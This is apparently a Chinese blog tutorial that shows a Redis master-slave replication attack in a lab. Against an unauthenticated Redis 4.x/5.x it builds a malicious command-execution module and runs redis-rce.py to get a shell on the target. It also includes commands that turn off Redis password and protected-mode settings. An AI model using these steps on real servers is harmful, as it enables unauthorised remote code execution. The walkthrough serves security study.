前言

redis主从复制getshell就是利用redis4.x和redis5.x安装默认会暴露在公网上,并且redis未授权访问漏洞可以导致getshell,所以在一定条件下可以直接得到这台服务器的shell

条件如下:

  • redis版本为4.x或者5.x

  • redis暴露在公网上(redis默认绑定就是0.0.0.0:6379)

  • redis没有设置密码认证或者密码可以被猜解(redis安装默认不设密码)

高版本的redis默认安装后是不允许远程连接的,且需要密码认证

不过总的来说,危害还是比较大的

正文

先来了解一下redis:

Redis是基于BSD协议的高性能key-value非关系型数据库(NoSql),一般用于token生成、session共享、分布式锁、自增id、验证码、排行榜、计数器、消息队列推送、好友关注、粉丝等

redis和mysql的不一样在于redis是储存在内存中(非持久化储存)而mysql储存在磁盘中(持久化储存),mysql的数据类型是规定的而redis的数据形式是不定的

redis中主要的三大可执行程序:

redis-server:Redis服务器程序

redis-cli:Redis客户端程序,它是一个命令行操作工具。也可以使用telnet根据其纯文本协议操作。

redis-benchmark:Redis性能测试工具,测试Redis在你的系统及配置下的读写性能。

redis的储存形式是这样的

这有点像一个数据结构中的哈希表,处理哈希冲突的方法是链地址法

当redis的并发要求更加高的时候一般使用的就是主从复制,所以主从复制就是用来同步两个数据库的,主从复制的作用:数据备份、读写分离、分布式集群、实现高可用、宕机容错机制等。

下面开始了解主从复制

简单来说,主从关系中的两大角色master(主) 和 slave(从) ,为了达到读写分离,规定在主服务器中写(同时同步到从数据库),在从服务器中读。算是一种通过牺牲空间来换取效率的缓解方式。

然后有一点和mysql不太一样的题外话,就是redis只能支持一主多从,而mysql等其他数据库支持多主多从

主从机制就像这样

bash $ redis-cli -h 127.0.0.1 -p 6379

127.0.0.1:6379> slaveof no one
OK
127.0.0.1:6379> set cbase 1
OK
127.0.0.1:6379> get cbase
"1"
127.0.0.1:6379> exit
bash $ redis-cli -h 172.17.0.3 -p 6379

172.17.0.3:6379> slaveof 192.168.117.129 6379
OK
172.17.0.3:6379> get cbase
"1"
其中redis-cl是Redis客户端程序,它是一个命令行操作工具redis -h -p表示连接到相应ip和端口中的redis服务器

slaveof命令:设置主从关系,形式为slaveof ip port,其中slaveof no one表示不从属其他机器

set cbase 1:表示把cbase的值设置为1

get cbase:表示得到cbase的值

这样数据就从127.0.0.1也就是192.168.117.129同步到了172.17.0.3

然后主从复制的原理就是在redis 4.x之后的版本中,允许从外部加载.so文件并且将这个文件中代码变成redis功能的一部分,从而实现功能扩展。我们利用这个功能通过编译恶意的.so文件,并将该文件同步到从属redis上,进行加载,即可实现恶意代码的功能

为了便于理解这里演示一下

环境准备

  • 一台运行着redis服务的服务器(这里因为我的ubuntu装不上就直接装在kali的docker里面)ip:172.17.0.3 运行redis5.0.3服务的端口:6379

  • kali攻击机 ip:192.168.117.129 运行redis服务的端口:6379

一.通过未授权访问漏洞连接服务端的redis并建立和攻击机的主从关系

kali&bash $ redis-cli -h 172.17.0.3 -p 6379

这一步就等于重新设置了目标redis的从属关系,可能服务端是从属于某个站群的某个服务器,现在变成了从属于kali攻击机,也就是说kali(192.168.117.129)变成了主服务器,172.17.0.3是从属于kali的从服务器

二.本地构造恶意.so文件

恶意.so文件从这里下载

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

本地下下来需要自己make,然后自动生成一个module.so,也就是含有了恶意代码的so文件

三.利用恶意.so达到rce

这里直接利用别人的脚本

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./

这里记得要把.so文件和py文件放在同一目录下

pip install -r requirements.txt 
python redis-rce.py -r 172.17.0.3 -p 6379 -L 192.168.117.129 -f module.so

这里问是获取一个交互式的shell还是获取反弹shell,为了便于展示直接获取交互式shell

这样就获取到了172.17.0.3的shell

如果已经下载了高版本的redis要复现这个漏洞要先关闭密码和守护进程和保护模式

关闭密码

127.0.0.1:6379> config set requirepass ''
OK

关闭守护进程

127.0.0.1:6379> config set daemonize "no"
OK

关闭保护模式

127.0.0.1:6379> config set protected-mode "no"
OK

重新载入配置

bash $ cd redis
bash $ redis-server redis.conf

结尾

后面在测试过程中发现redis4.x和redis5.x重新了就只允许本地连接了,不过刚装的时候还是暴露在外网的摸不清头脑(晕

参考链接

https://www.cnblogs.com/0daybug/p/12183406.html

https://blog.csdn.net/dahege666/article/details/104606643

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

https://paper.seebug.org/975/

https://www.cnblogs.com/xiaozi/p/13089906.html

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...